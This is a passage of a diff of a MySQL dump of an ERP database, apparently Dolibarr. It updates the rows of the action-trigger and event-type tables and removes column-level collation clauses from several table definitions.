party','societe',1),(226,'PROPAL_DELETE','Customer proposal deleted','Executed when a customer proposal is deleted','propal',2),(227,'ORDER_DELETE','Customer order deleted','Executed when a customer order is deleted','commande',5),(228,'BILL_DELETE','Customer invoice deleted','Executed when a customer invoice is deleted','facture',9),(229,'PROPOSAL_SUPPLIER_DELETE','Price request deleted','Executed when a customer proposal delete','proposal_supplier',10),(230,'ORDER_SUPPLIER_DELETE','Supplier order deleted','Executed when a supplier order is deleted','order_supplier',14),(231,'BILL_SUPPLIER_DELETE','Supplier invoice deleted','Executed when a supplier invoice is deleted','invoice_supplier',17),(232,'CONTRACT_DELETE','Contract deleted','Executed when a contract is deleted','contrat',18),(233,'FICHINTER_DELETE','Intervention is deleted','Executed when a intervention is deleted','ficheinter',35),(234,'EXPENSE_REPORT_DELETE','Expense report deleted','Executed when an expense report is deleted','expensereport',204),(249,'TICKET_CREATE','Ticket created','Executed when a ticket is created','ticket',161),(250,'TICKET_MODIFY','Ticket modified','Executed when a ticket is modified','ticket',163),(251,'TICKET_ASSIGNED','Ticket assigned','Executed when a ticket is assigned to another user','ticket',164),(252,'TICKET_CLOSE','Ticket closed','Executed when a ticket is closed','ticket',165),(253,'TICKET_SENTBYMAIL','Ticket message sent by email','Executed when a message is sent from the ticket record','ticket',166),(254,'TICKET_DELETE','Ticket deleted','Executed when a ticket is deleted','ticket',167),(261,'USER_SENTBYMAIL','Email sent','Executed when an email is sent from user card','user',300),(262,'BOM_VALIDATE','BOM validated','Executed when a BOM is validated','bom',650),(263,'BOM_UNVALIDATE','BOM unvalidated','Executed when a BOM is unvalidated','bom',651),(264,'BOM_CLOSE','BOM disabled','Executed when a BOM is disabled','bom',652),(265,'BOM_REOPEN','BOM reopen','Executed when a BOM is re-open','bom',653),(266,'BOM_DELETE','BOM deleted','Executed when a BOM deleted','bom',654),(351,'MRP_MO_VALIDATE','MO validated','Executed when a MO is validated','bom',660),(352,'MRP_MO_PRODUCED','MO produced','Executed when a MO is produced','bom',661),(353,'MRP_MO_DELETE','MO deleted','Executed when a MO is deleted','bom',662),(354,'MRP_MO_CANCEL','MO canceled','Executed when a MO is canceled','bom',663),(365,'CONTACT_CREATE','Contact address created','Executed when a contact is created','contact',50),(366,'CONTACT_SENTBYMAIL','Mails sent from third party card','Executed when you send email from contact adress card','contact',51),(367,'CONTACT_DELETE','Contact address deleted','Executed when a contact is deleted','contact',52),(368,'RECRUITMENTJOBPOSITION_CREATE','Job created','Executed when a job is created','recruitment',7500),(369,'RECRUITMENTJOBPOSITION_MODIFY','Job modified','Executed when a job is modified','recruitment',7502),(370,'RECRUITMENTJOBPOSITION_SENTBYMAIL','Mails sent from job record','Executed when you send email from job record','recruitment',7504),(371,'RECRUITMENTJOBPOSITION_DELETE','Job deleted','Executed when a job is deleted','recruitment',7506),(372,'RECRUITMENTCANDIDATURE_CREATE','Candidature created','Executed when a candidature is created','recruitment',7510),(373,'RECRUITMENTCANDIDATURE_MODIFY','Candidature modified','Executed when a candidature is modified','recruitment',7512),(374,'RECRUITMENTCANDIDATURE_SENTBYMAIL','Mails sent from candidature record','Executed when you send email from candidature record','recruitment',7514),(375,'RECRUITMENTCANDIDATURE_DELETE','Candidature deleted','Executed when a candidature is deleted','recruitment',7516),(392,'COMPANY_MODIFY','Third party update','Executed when you update third party','societe',1),(393,'CONTACT_MODIFY','Contact address update','Executed when a contact is updated','contact',51),(394,'ORDER_SUPPLIER_CANCEL','Supplier order request canceled','Executed when a supplier order is canceled','order_supplier',13),(395,'MEMBER_EXCLUDE','Member excluded','Executed when a member is excluded','member',27),(396,'USER_CREATE','User created','Executed when a user is created','user',301),(397,'USER_MODIFY','User update','Executed when a user is updated','user',302),(398,'USER_DELETE','User update','Executed when a user is deleted','user',303),(399,'USER_NEW_PASSWORD','User update','Executed when a user is change password','user',304),(400,'USER_ENABLEDISABLE','User update','Executed when a user is enable or disable','user',305),(402,'HOLIDAY_MODIFY','Holiday modified','Executed when a holiday is modified','holiday',801),(405,'HOLIDAY_CANCEL','Holiday canceled','Executed when a holiday is canceled','holiday',802),(406,'HOLIDAY_DELETE','Holiday deleted','Executed when a holiday is deleted','holiday',804),(407,'PROPAL_MODIFY','Customer proposal modified','Executed when a customer proposal is modified','propal',2),(408,'ORDER_MODIFY','Customer order modified','Executed when a customer order is set modified','commande',5),(409,'BILL_MODIFY','Customer invoice modified','Executed when a customer invoice is modified','facture',7),(410,'PROPOSAL_SUPPLIER_MODIFY','Price request modified','Executed when a commercial proposal is modified','proposal_supplier',10),(411,'ORDER_SUPPLIER_MODIFY','Supplier order request modified','Executed when a supplier order is modified','order_supplier',13),(412,'BILL_SUPPLIER_MODIFY','Supplier invoice modified','Executed when a supplier invoice is modified','invoice_supplier',15),(413,'CONTRACT_MODIFY','Contract modified','Executed when a contract is modified','contrat',18),(414,'SHIPPING_MODIFY','Shipping modified','Executed when a shipping is modified','shipping',20),(415,'FICHINTER_MODIFY','Intervention modify','Executed when a intervention is modify','ficheinter',30),(417,'EXPENSE_REPORT_MODIFY','Expense report modified','Executed when an expense report is modified','expensereport',202); +INSERT INTO `llx_c_action_trigger` VALUES (131,'COMPANY_SENTBYMAIL','Mails sent from third party card','Executed when you send email from third party card','societe',1,NULL),(132,'COMPANY_CREATE','Third party created','Executed when a third party is created','societe',1,NULL),(133,'PROPAL_VALIDATE','Customer proposal validated','Executed when a commercial proposal is validated','propal',2,NULL),(134,'PROPAL_SENTBYMAIL','Commercial proposal sent by mail','Executed when a commercial proposal is sent by mail','propal',3,NULL),(135,'ORDER_VALIDATE','Customer order validate','Executed when a customer order is validated','commande',4,NULL),(136,'ORDER_CLOSE','Customer order classify delivered','Executed when a customer order is set delivered','commande',5,NULL),(137,'ORDER_CLASSIFY_BILLED','Customer order classify billed','Executed when a customer order is set to billed','commande',5,NULL),(138,'ORDER_CANCEL','Customer order canceled','Executed when a customer order is canceled','commande',5,NULL),(139,'ORDER_SENTBYMAIL','Customer order sent by mail','Executed when a customer order is sent by mail ','commande',5,NULL),(140,'BILL_VALIDATE','Customer invoice validated','Executed when a customer invoice is approved','facture',6,NULL),(141,'BILL_PAYED','Customer invoice payed','Executed when a customer invoice is payed','facture',7,NULL),(142,'BILL_CANCEL','Customer invoice canceled','Executed when a customer invoice is conceled','facture',8,NULL),(143,'BILL_SENTBYMAIL','Customer invoice sent by mail','Executed when a customer invoice is sent by mail','facture',9,NULL),(144,'BILL_UNVALIDATE','Customer invoice unvalidated','Executed when a customer invoice status set back to draft','facture',9,NULL),(145,'ORDER_SUPPLIER_VALIDATE','Supplier order validated','Executed when a supplier order is validated','order_supplier',11,NULL),(146,'ORDER_SUPPLIER_APPROVE','Supplier order request approved','Executed when a supplier order is approved','order_supplier',12,NULL),(147,'ORDER_SUPPLIER_REFUSE','Supplier order request refused','Executed when a supplier order is refused','order_supplier',13,NULL),(148,'ORDER_SUPPLIER_SENTBYMAIL','Supplier order sent by mail','Executed when a supplier order is sent by mail','order_supplier',14,NULL),(149,'BILL_SUPPLIER_VALIDATE','Supplier invoice validated','Executed when a supplier invoice is validated','invoice_supplier',15,NULL),(150,'BILL_SUPPLIER_PAYED','Supplier invoice payed','Executed when a supplier invoice is payed','invoice_supplier',16,NULL),(151,'BILL_SUPPLIER_SENTBYMAIL','Supplier invoice sent by mail','Executed when a supplier invoice is sent by mail','invoice_supplier',17,NULL),(152,'BILL_SUPPLIER_CANCELED','Supplier invoice cancelled','Executed when a supplier invoice is cancelled','invoice_supplier',17,NULL),(153,'CONTRACT_VALIDATE','Contract validated','Executed when a contract is validated','contrat',18,NULL),(154,'SHIPPING_VALIDATE','Shipping validated','Executed when a shipping is validated','shipping',20,NULL),(155,'SHIPPING_SENTBYMAIL','Shipping sent by mail','Executed when a shipping is sent by mail','shipping',21,NULL),(156,'MEMBER_VALIDATE','Member validated','Executed when a member is validated','member',22,NULL),(158,'MEMBER_RESILIATE','Member resiliated','Executed when a member is resiliated','member',24,NULL),(159,'MEMBER_MODIFY','Member modified','Executed when a member is modified','member',24,NULL),(160,'MEMBER_DELETE','Member deleted','Executed when a member is deleted','member',25,NULL),(161,'FICHINTER_VALIDATE','Intervention validated','Executed when a intervention is validated','ficheinter',19,NULL),(162,'FICHINTER_CLASSIFY_BILLED','Intervention set billed','Executed when a intervention is set to billed (when option FICHINTER_CLASSIFY_BILLED is set)','ficheinter',19,NULL),(163,'FICHINTER_CLASSIFY_UNBILLED','Intervention set unbilled','Executed when a intervention is set to unbilled (when option FICHINTER_CLASSIFY_BILLED is set)','ficheinter',19,NULL),(164,'FICHINTER_REOPEN','Intervention opened','Executed when a intervention is re-opened','ficheinter',19,NULL),(165,'FICHINTER_SENTBYMAIL','Intervention sent by mail','Executed when a intervention is sent by mail','ficheinter',19,NULL),(166,'PROJECT_CREATE','Project creation','Executed when a project is created','project',140,NULL),(167,'PROPAL_CLOSE_SIGNED','Customer proposal closed signed','Executed when a customer proposal is closed signed','propal',2,NULL),(168,'PROPAL_CLOSE_REFUSED','Customer proposal closed refused','Executed when a customer proposal is closed refused','propal',2,NULL),(169,'PROPAL_CLASSIFY_BILLED','Customer proposal set billed','Executed when a customer proposal is set to billed','propal',2,NULL),(170,'TASK_CREATE','Task created','Executed when a project task is created','project',35,NULL),(171,'TASK_MODIFY','Task modified','Executed when a project task is modified','project',36,NULL),(172,'TASK_DELETE','Task deleted','Executed when a project task is deleted','project',37,NULL),(173,'BILL_SUPPLIER_UNVALIDATE','Supplier invoice unvalidated','Executed when a supplier invoice status is set back to draft','invoice_supplier',15,NULL),(174,'PROJECT_MODIFY','Project modified','Executed when a project is modified','project',141,NULL),(175,'PROJECT_DELETE','Project deleted','Executed when a project is deleted','project',142,NULL),(176,'ORDER_SUPPLIER_CREATE','Supplier order validated','Executed when a supplier order is validated','order_supplier',11,NULL),(177,'ORDER_SUPPLIER_SUBMIT','Supplier order request submited','Executed when a supplier order is approved','order_supplier',12,NULL),(178,'ORDER_SUPPLIER_RECEIVE','Supplier order request received','Executed when a supplier order is received','order_supplier',12,NULL),(179,'ORDER_SUPPLIER_CLASSIFY_BILLED','Supplier order set billed','Executed when a supplier order is set as billed','order_supplier',14,NULL),(180,'PRODUCT_CREATE','Product or service created','Executed when a product or sevice is created','product',30,NULL),(181,'PRODUCT_MODIFY','Product or service modified','Executed when a product or sevice is modified','product',30,NULL),(182,'PRODUCT_DELETE','Product or service deleted','Executed when a product or sevice is deleted','product',30,NULL),(183,'EXPENSE_REPORT_CREATE','Expense report created','Executed when an expense report is created','expensereport',201,NULL),(185,'EXPENSE_REPORT_VALIDATE','Expense report validated','Executed when an expense report is validated','expensereport',202,NULL),(186,'EXPENSE_REPORT_APPROVE','Expense report approved','Executed when an expense report is approved','expensereport',203,NULL),(187,'EXPENSE_REPORT_PAID','Expense report billed','Executed when an expense report is set as billed','expensereport',204,NULL),(192,'HOLIDAY_CREATE','Leave request created','Executed when a leave request is created','holiday',221,NULL),(193,'HOLIDAY_VALIDATE','Leave request validated','Executed when a leave request is validated','holiday',222,NULL),(194,'HOLIDAY_APPROVE','Leave request approved','Executed when a leave request is approved','holiday',223,NULL),(210,'MEMBER_SENTBYMAIL','Mails sent from member card','Executed when you send email from member card','member',23,NULL),(211,'CONTRACT_SENTBYMAIL','Contract sent by mail','Executed when a contract is sent by mail','contrat',18,NULL),(212,'PROPOSAL_SUPPLIER_VALIDATE','Price request validated','Executed when a commercial proposal is validated','proposal_supplier',10,NULL),(213,'PROPOSAL_SUPPLIER_SENTBYMAIL','Price request sent by mail','Executed when a commercial proposal is sent by mail','proposal_supplier',10,NULL),(214,'PROPOSAL_SUPPLIER_CLOSE_SIGNED','Price request closed signed','Executed when a customer proposal is closed signed','proposal_supplier',10,NULL),(215,'PROPOSAL_SUPPLIER_CLOSE_REFUSED','Price request closed refused','Executed when a customer proposal is closed refused','proposal_supplier',10,NULL),(216,'MEMBER_SUBSCRIPTION_CREATE','Member subscribtion recorded','Executed when a member subscribtion is deleted','member',24,NULL),(217,'MEMBER_SUBSCRIPTION_MODIFY','Member subscribtion modified','Executed when a member subscribtion is modified','member',24,NULL),(218,'MEMBER_SUBSCRIPTION_DELETE','Member subscribtion deleted','Executed when a member subscribtion is deleted','member',24,NULL),(225,'COMPANY_DELETE','Third party deleted','Executed when you delete third party','societe',1,NULL),(226,'PROPAL_DELETE','Customer proposal deleted','Executed when a customer proposal is deleted','propal',2,NULL),(227,'ORDER_DELETE','Customer order deleted','Executed when a customer order is deleted','commande',5,NULL),(228,'BILL_DELETE','Customer invoice deleted','Executed when a customer invoice is deleted','facture',9,NULL),(229,'PROPOSAL_SUPPLIER_DELETE','Price request deleted','Executed when a customer proposal delete','proposal_supplier',10,NULL),(230,'ORDER_SUPPLIER_DELETE','Supplier order deleted','Executed when a supplier order is deleted','order_supplier',14,NULL),(231,'BILL_SUPPLIER_DELETE','Supplier invoice deleted','Executed when a supplier invoice is deleted','invoice_supplier',17,NULL),(232,'CONTRACT_DELETE','Contract deleted','Executed when a contract is deleted','contrat',18,NULL),(233,'FICHINTER_DELETE','Intervention is deleted','Executed when a intervention is deleted','ficheinter',35,NULL),(234,'EXPENSE_REPORT_DELETE','Expense report deleted','Executed when an expense report is deleted','expensereport',204,NULL),(249,'TICKET_CREATE','Ticket created','Executed when a ticket is created','ticket',161,NULL),(250,'TICKET_MODIFY','Ticket modified','Executed when a ticket is modified','ticket',163,NULL),(251,'TICKET_ASSIGNED','Ticket assigned','Executed when a ticket is assigned to another user','ticket',164,NULL),(252,'TICKET_CLOSE','Ticket closed','Executed when a ticket is closed','ticket',165,NULL),(253,'TICKET_SENTBYMAIL','Ticket message sent by email','Executed when a message is sent from the ticket record','ticket',166,NULL),(254,'TICKET_DELETE','Ticket deleted','Executed when a ticket is deleted','ticket',167,NULL),(261,'USER_SENTBYMAIL','Email sent','Executed when an email is sent from user card','user',300,NULL),(262,'BOM_VALIDATE','BOM validated','Executed when a BOM is validated','bom',650,NULL),(263,'BOM_UNVALIDATE','BOM unvalidated','Executed when a BOM is unvalidated','bom',651,NULL),(264,'BOM_CLOSE','BOM disabled','Executed when a BOM is disabled','bom',652,NULL),(265,'BOM_REOPEN','BOM reopen','Executed when a BOM is re-open','bom',653,NULL),(266,'BOM_DELETE','BOM deleted','Executed when a BOM deleted','bom',654,NULL),(351,'MRP_MO_VALIDATE','MO validated','Executed when a MO is validated','bom',660,NULL),(352,'MRP_MO_PRODUCED','MO produced','Executed when a MO is produced','bom',661,NULL),(353,'MRP_MO_DELETE','MO deleted','Executed when a MO is deleted','bom',662,NULL),(354,'MRP_MO_CANCEL','MO canceled','Executed when a MO is canceled','bom',663,NULL),(365,'CONTACT_CREATE','Contact address created','Executed when a contact is created','contact',50,NULL),(366,'CONTACT_SENTBYMAIL','Mails sent from third party card','Executed when you send email from contact adress card','contact',51,NULL),(367,'CONTACT_DELETE','Contact address deleted','Executed when a contact is deleted','contact',52,NULL),(368,'RECRUITMENTJOBPOSITION_CREATE','Job created','Executed when a job is created','recruitment',7500,NULL),(369,'RECRUITMENTJOBPOSITION_MODIFY','Job modified','Executed when a job is modified','recruitment',7502,NULL),(370,'RECRUITMENTJOBPOSITION_SENTBYMAIL','Mails sent from job record','Executed when you send email from job record','recruitment',7504,NULL),(371,'RECRUITMENTJOBPOSITION_DELETE','Job deleted','Executed when a job is deleted','recruitment',7506,NULL),(372,'RECRUITMENTCANDIDATURE_CREATE','Candidature created','Executed when a candidature is created','recruitment',7510,NULL),(373,'RECRUITMENTCANDIDATURE_MODIFY','Candidature modified','Executed when a candidature is modified','recruitment',7512,NULL),(374,'RECRUITMENTCANDIDATURE_SENTBYMAIL','Mails sent from candidature record','Executed when you send email from candidature record','recruitment',7514,NULL),(375,'RECRUITMENTCANDIDATURE_DELETE','Candidature deleted','Executed when a candidature is deleted','recruitment',7516,NULL),(392,'COMPANY_MODIFY','Third party update','Executed when you update third party','societe',1,NULL),(393,'CONTACT_MODIFY','Contact address update','Executed when a contact is updated','contact',51,NULL),(394,'ORDER_SUPPLIER_CANCEL','Supplier order request canceled','Executed when a supplier order is canceled','order_supplier',13,NULL),(395,'MEMBER_EXCLUDE','Member excluded','Executed when a member is excluded','member',27,NULL),(396,'USER_CREATE','User created','Executed when a user is created','user',301,NULL),(397,'USER_MODIFY','User update','Executed when a user is updated','user',302,NULL),(398,'USER_DELETE','User update','Executed when a user is deleted','user',303,NULL),(399,'USER_NEW_PASSWORD','User update','Executed when a user is change password','user',304,NULL),(400,'USER_ENABLEDISABLE','User update','Executed when a user is enable or disable','user',305,NULL),(402,'HOLIDAY_MODIFY','Holiday modified','Executed when a holiday is modified','holiday',801,NULL),(405,'HOLIDAY_CANCEL','Holiday canceled','Executed when a holiday is canceled','holiday',802,NULL),(406,'HOLIDAY_DELETE','Holiday deleted','Executed when a holiday is deleted','holiday',804,NULL),(407,'PROPAL_MODIFY','Customer proposal modified','Executed when a customer proposal is modified','propal',2,NULL),(408,'ORDER_MODIFY','Customer order modified','Executed when a customer order is set modified','commande',5,NULL),(409,'BILL_MODIFY','Customer invoice modified','Executed when a customer invoice is modified','facture',7,NULL),(410,'PROPOSAL_SUPPLIER_MODIFY','Price request modified','Executed when a commercial proposal is modified','proposal_supplier',10,NULL),(411,'ORDER_SUPPLIER_MODIFY','Supplier order request modified','Executed when a supplier order is modified','order_supplier',13,NULL),(412,'BILL_SUPPLIER_MODIFY','Supplier invoice modified','Executed when a supplier invoice is modified','invoice_supplier',15,NULL),(413,'CONTRACT_MODIFY','Contract modified','Executed when a contract is modified','contrat',18,NULL),(414,'SHIPPING_MODIFY','Shipping modified','Executed when a shipping is modified','shipping',20,NULL),(415,'FICHINTER_MODIFY','Intervention modify','Executed when a intervention is modify','ficheinter',30,NULL),(417,'EXPENSE_REPORT_MODIFY','Expense report modified','Executed when an expense report is modified','expensereport',202,NULL),(455,'PROJECT_SENTBYMAIL','Project sent by mail','Executed when a project is sent by email','project',144,NULL),(511,'SHIPPING_DELETE','Shipping sent is deleted','Executed when a shipping is deleted','shipping',21,NULL),(512,'RECEPTION_VALIDATE','Reception validated','Executed when a reception is validated','reception',22,NULL),(513,'RECEPTION_SENTBYMAIL','Reception sent by mail','Executed when a reception is sent by mail','reception',22,NULL),(543,'PROJECT_VALIDATE','Project validation','Executed when a project is validated','project',141,NULL),(584,'ACTION_CREATE','Action added','Executed when an action is added to the agenda','agenda',700,NULL),(591,'BILLREC_CREATE','Template invoices created','Executed when a Template invoices is created','facturerec',900,NULL),(592,'BILLREC_MODIFY','Template invoices update','Executed when a Template invoices is updated','facturerec',901,NULL),(593,'BILLREC_DELETE','Template invoices deleted','Executed when a Template invoices is deleted','facturerec',902,NULL),(594,'BILLREC_AUTOCREATEBILL','Template invoices use to create invoices with auto batch','Executed when a Template invoices is use to create invoice with auto batch','facturerec',903,NULL),(875,'PARTNERSHIP_CREATE','Partnership created','Executed when a partnership is created','partnership',58000,NULL),(876,'PARTNERSHIP_MODIFY','Partnership modified','Executed when a partnership is modified','partnership',58002,NULL),(877,'PARTNERSHIP_SENTBYMAIL','Mails sent from partnership file','Executed when you send email from partnership file','partnership',58004,NULL),(878,'PARTNERSHIP_DELETE','Partnership deleted','Executed when a partnership is deleted','partnership',58006,NULL); /*!40000 ALTER TABLE `llx_c_action_trigger` ENABLE KEYS */; UNLOCK TABLES; @@ -1741,15 +1392,15 @@ DROP TABLE IF EXISTS `llx_c_actioncomm`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_actioncomm` ( `id` int(11) NOT NULL, - `code` varchar(50) COLLATE utf8mb3_unicode_ci NOT NULL, - `type` varchar(50) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT 'system', - `libelle` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `module` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(50) NOT NULL, + `type` varchar(50) NOT NULL DEFAULT 'system', + `libelle` varchar(128) DEFAULT NULL, + `module` varchar(50) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, `todo` tinyint(4) DEFAULT NULL, `position` int(11) NOT NULL DEFAULT 0, - `color` varchar(9) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `picto` varchar(48) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `color` varchar(9) DEFAULT NULL, + `picto` varchar(48) DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `uk_c_actioncomm` (`code`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -1761,7 +1412,7 @@ CREATE TABLE `llx_c_actioncomm` ( LOCK TABLES `llx_c_actioncomm` WRITE; /*!40000 ALTER TABLE `llx_c_actioncomm` DISABLE KEYS */; -INSERT INTO `llx_c_actioncomm` VALUES (1,'AC_TEL','system','Phone call',NULL,1,NULL,2,NULL,NULL),(2,'AC_FAX','system','Send Fax',NULL,1,NULL,3,NULL,NULL),(3,'AC_PROP','systemauto','Send commercial proposal by email','propal',1,NULL,10,NULL,NULL),(4,'AC_EMAIL','system','Send Email',NULL,1,NULL,4,NULL,NULL),(5,'AC_RDV','system','Rendez-vous',NULL,1,NULL,1,NULL,NULL),(6,'AC_EMAIL_IN','system','reception Email',NULL,1,NULL,4,NULL,NULL),(8,'AC_COM','systemauto','Send customer order by email','order',1,NULL,8,NULL,NULL),(9,'AC_FAC','systemauto','Send customer invoice by email','invoice',1,NULL,6,NULL,NULL),(10,'AC_SHIP','systemauto','Send shipping by email','shipping',1,NULL,11,NULL,NULL),(11,'AC_INT','system','Intervention on site',NULL,1,NULL,4,NULL,NULL),(30,'AC_SUP_ORD','systemauto','Send supplier order by email','order_supplier',1,NULL,9,NULL,NULL),(31,'AC_SUP_INV','systemauto','Send supplier invoice by email','invoice_supplier',1,NULL,7,NULL,NULL),(40,'AC_OTH_AUTO','systemauto','Other (automatically inserted events)',NULL,1,NULL,20,NULL,NULL),(50,'AC_OTH','system','Other (manually inserted events)',NULL,1,NULL,5,NULL,NULL),(60,'AC_EO_ONLINECONF','module','Online/Virtual conference','conference@eventorganization',1,NULL,60,NULL,NULL),(61,'AC_EO_INDOORCONF','module','Indoor conference','conference@eventorganization',1,NULL,61,NULL,NULL),(62,'AC_EO_ONLINEBOOTH','module','Online/Virtual booth','booth@eventorganization',1,NULL,62,NULL,NULL),(63,'AC_EO_INDOORBOOTH','module','Indoor booth','booth@eventorganization',1,NULL,63,NULL,NULL),(100700,'AC_CABMED','module','Send document by email','cabinetmed',0,NULL,100,NULL,NULL); +INSERT INTO `llx_c_actioncomm` VALUES (1,'AC_TEL','system','Phone call',NULL,1,NULL,2,NULL,NULL),(2,'AC_FAX','system','Send Fax',NULL,1,NULL,3,NULL,NULL),(3,'AC_PROP','systemauto','Send commercial proposal by email','propal',1,NULL,10,NULL,NULL),(4,'AC_EMAIL','system','Send Email',NULL,1,NULL,4,NULL,NULL),(5,'AC_RDV','system','Rendez-vous',NULL,1,NULL,1,NULL,NULL),(6,'AC_EMAIL_IN','system','reception Email',NULL,1,NULL,4,NULL,NULL),(8,'AC_COM','systemauto','Send customer order by email','order',1,NULL,8,NULL,NULL),(9,'AC_FAC','systemauto','Send customer invoice by email','invoice',1,NULL,6,NULL,NULL),(10,'AC_SHIP','systemauto','Send shipping by email','shipping',1,NULL,11,NULL,NULL),(11,'AC_INT','system','Intervention on site',NULL,1,NULL,4,NULL,NULL),(30,'AC_SUP_ORD','systemauto','Send supplier order by email','order_supplier',1,NULL,9,NULL,NULL),(31,'AC_SUP_INV','systemauto','Send supplier invoice by email','invoice_supplier',1,NULL,7,NULL,NULL),(40,'AC_OTH_AUTO','systemauto','Other (automatically inserted events)',NULL,1,NULL,20,NULL,NULL),(50,'AC_OTH','system','Other (manually inserted events)',NULL,1,NULL,5,NULL,NULL),(60,'AC_EO_ONLINECONF','module','Online/Virtual conference','conference@eventorganization',1,NULL,60,NULL,NULL),(61,'AC_EO_INDOORCONF','module','Indoor conference','conference@eventorganization',1,NULL,61,NULL,NULL),(62,'AC_EO_ONLINEBOOTH','module','Online/Virtual booth','booth@eventorganization',1,NULL,62,NULL,NULL),(63,'AC_EO_INDOORBOOTH','module','Indoor booth','booth@eventorganization',1,NULL,63,NULL,NULL),(100700,'AC_CABMED','module','Send document by email','cabinetmed',0,NULL,100,NULL,NULL),(448310,'C42_NEWS','systemauto','Nouveautés H2G2','h2g2',1,NULL,80,NULL,NULL),(448311,'AC_MAS_ACT','module','Action de masse','h2g2',1,NULL,0,NULL,NULL),(1680009,'IE_MES','module','Mise en service','gestionparc',1,NULL,57,NULL,NULL); /*!40000 ALTER TABLE `llx_c_actioncomm` ENABLE KEYS */; UNLOCK TABLES; @@ -1775,8 +1426,8 @@ DROP TABLE IF EXISTS `llx_c_asset_disposal_type`; CREATE TABLE `llx_c_asset_disposal_type` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `code` varchar(16) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(50) COLLATE utf8mb3_unicode_ci NOT NULL, + `code` varchar(16) NOT NULL, + `label` varchar(50) NOT NULL, `active` int(11) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_asset_disposal_type` (`code`,`entity`) @@ -1801,11 +1452,11 @@ DROP TABLE IF EXISTS `llx_c_availability`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_availability` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(30) NOT NULL, + `label` varchar(128) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, `position` int(11) NOT NULL DEFAULT 0, - `type_duration` varchar(1) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `type_duration` varchar(1) DEFAULT NULL, `qty` double DEFAULT 0, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_availability` (`code`) @@ -1831,14 +1482,14 @@ DROP TABLE IF EXISTS `llx_c_barcode_type`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_barcode_type` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(16) COLLATE utf8mb3_unicode_ci NOT NULL, + `code` varchar(16) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `libelle` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `coder` varchar(16) COLLATE utf8mb3_unicode_ci NOT NULL, - `example` varchar(16) COLLATE utf8mb3_unicode_ci NOT NULL, + `libelle` varchar(128) DEFAULT NULL, + `coder` varchar(16) NOT NULL, + `example` varchar(16) NOT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_barcode_type` (`code`,`entity`) -) ENGINE=InnoDB AUTO_INCREMENT=95 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=119 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -1860,13 +1511,13 @@ DROP TABLE IF EXISTS `llx_c_chargesociales`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_chargesociales` ( `id` int(11) NOT NULL AUTO_INCREMENT, - `libelle` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `libelle` varchar(128) DEFAULT NULL, `deductible` smallint(6) NOT NULL DEFAULT 0, `active` tinyint(4) NOT NULL DEFAULT 1, - `code` varchar(12) COLLATE utf8mb3_unicode_ci NOT NULL, + `code` varchar(12) NOT NULL, `fk_pays` int(11) NOT NULL DEFAULT 1, - `module` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `module` varchar(32) DEFAULT NULL, + `accountancy_code` varchar(32) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=4110 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -1890,10 +1541,10 @@ DROP TABLE IF EXISTS `llx_c_civility`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_civility` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(6) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(6) NOT NULL, + `label` varchar(128) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, - `module` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `module` varchar(32) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_civility` (`code`) ) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -1918,9 +1569,9 @@ DROP TABLE IF EXISTS `llx_c_country`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_country` ( `rowid` int(11) NOT NULL, - `code` varchar(2) COLLATE utf8mb3_unicode_ci NOT NULL, - `code_iso` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(2) NOT NULL, + `code_iso` varchar(3) DEFAULT NULL, + `label` varchar(128) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, `favorite` tinyint(4) NOT NULL DEFAULT 0, `eec` tinyint(4) NOT NULL 